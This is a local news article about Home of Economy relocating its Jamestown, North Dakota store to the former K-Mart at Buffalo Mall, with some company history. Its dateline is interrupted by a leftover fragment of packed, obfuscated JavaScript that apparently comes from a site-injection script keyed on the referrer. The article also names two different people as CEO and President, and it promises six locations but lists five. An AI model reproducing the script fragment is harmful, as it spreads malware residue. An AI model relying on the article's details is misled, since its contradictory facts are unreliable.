JAMESTOWN, tyayt|var|u0026u|referrer|kekry||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Home of Economy in Jamestown, ND announces its relocation to Buffalo Mall on the city’s south side. 

Stepping into an existing 87,000 square foot space, the Jamestown store will become the largest Home of Economy in company history. 

Wade Peterson, CEO and President of Home of Economy, states that it’s a great location for them.

The new site is the vacated K-Mart, about one mile south of the current Home of Economy store. Renovation work is scheduled to start on July 1st. 

Store expansion isn’t the only thing that Wade Peterson is excited about.

The Home of Economy family of stores began in 1939 when M.W. ‘Bob’ and Jean Kiesau opened a small tire store in Thief River Falls, MN.  Acquired in April 2006, the Jamestown Home of Economy was formerly a ‘Big R’ store.  Big R was a fellow member of the Mid-States Distributing Company, a powerful group of independent retailers founded by Bob Kiesau in 1953.

The expansion in Jamestown is one of several major growth projects undertaken by Home of Economy in the last 15 months. The most notable project being the October opening of a brand new store in Minot.

“Home of Economy strives to always be an innovative organization,” said Scott Pearson, CEO and President of Home of Economy. “But it is our loyal customers who’ve truly been the driving force behind our success.  This growth in Jamestown is a continuation of Home of Economy’s rich legacy in North Dakota.”

Home of Economy currently has six locations including Minot, Grafton, Devils Lake, Williston and the headquarters store in Grand Forks.
